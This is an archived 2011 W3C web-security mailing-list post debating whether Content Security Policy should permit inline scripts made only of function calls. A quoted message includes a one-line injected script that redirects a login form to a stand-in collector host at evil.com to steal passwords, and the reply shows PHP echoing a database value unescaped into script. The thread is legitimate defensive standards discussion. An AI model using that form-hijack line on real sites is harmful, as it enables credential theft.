- From: Devdatta Akhawe <dev.akhawe@gmail.com>
- Date: Thu, 24 Feb 2011 18:35:09 -0800
- To: Daniel Veditz <dveditz@mozilla.com>
- Cc: public-web-security@w3.org
> You mean harmless function calls like: > > <script> > document.getElementsByName("login_form")[0]. > setAttribute("action","https://evil.com/collector"); > </script> > Forgive me, I forgot to say "userdefined functions" only. > If you could inject that on Yahoo's login page you could steal > people's passwords when they try to sign in, as an example. > >> will be allowed inline, no other inline script execution will be >> allowed. You still won't be able to do <script> .. javascript ... >> </script>. > > So far the only credible middle-ground proposals to soften CSP's > current allow/dis-allow binary switch have been > - "script-keys" (nonce) > - allow inline script in the document <head> only > >> The CSP spec at Mozilla >> (https://wiki.mozilla.org/Security/CSP/Specification) already makes a >> distinction between arbitrary code being eval'ed and function calls. >> For example, setTimeout is allowed with function names as arguments >> but not with strings. It seems this is similar. > > Not very similar. Assuming the default inline script blocking both > the setTimeout() call and the function it's calling are in external > code files loaded from a domain the site has declared trusted. We > can't tell with eval() where the code came from: maybe it's safe > static code, maybe it's from generated content. Safe uses of eval() > can generally be re-written without eval (see > https://adblockplus.org/blog/five-wrong-reasons-to-use-eval-in-an-extension); > eval that uses page content is pretty equivalent to inline script. > > CSP currently doesn't block a couple of other eval-ish things: > document.write() and setting innerHTML. Both can lead to XSS, but > hopefully that's greatly mitigated if you've blocked inline scripts. > >> I feel like this simple change will make retrofitting legacy >> applications with CSP much easier. > > Can you point to an example site that has inline <script> that only > consists of function calls? As shown above I don't believe this is > any safer than full inline scripts, but I'm also having a hard time > imagining that this helps legacy sites. > The general issue that your php/perl server side scripts knows a few values at runtime while generating the javascript code. Trivially <script> var important_variable = '<?php echo $value_returned_from_sql; ?>' // lots of javascript code </script> can be turned to var foo=function foo(important_variable){. ... all javascript code ... } the latter can go in external script, or in the head or wherever. The point is that you can then call it from the php script as <script>foo('<? echo $value_returned_from_sql; ?>');</script> Are you convinced that this might make porting easier (ignoring whether it has better security than enabling inline scripts) ? =devdatta > -Dan Veditz >
Received on Friday, 25 February 2011 02:36:03 UTC